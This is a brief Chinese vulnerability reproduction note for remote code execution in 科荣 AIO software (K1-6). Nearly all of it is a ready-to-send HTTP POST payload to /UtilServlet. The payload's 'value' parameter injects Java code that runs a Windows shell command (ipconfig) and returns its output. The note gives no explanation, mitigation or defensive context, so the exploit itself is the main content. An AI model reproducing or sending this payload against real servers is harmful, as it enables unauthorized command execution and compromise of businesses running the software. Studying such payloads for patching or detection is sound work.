K1-6科荣-AIO-RCE

漏洞复现：

payload：

POST /UtilServlet HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host:  
Content-Length: 324
Content-Type: application/x-www-form-urlencoded

operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+ipconfig").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field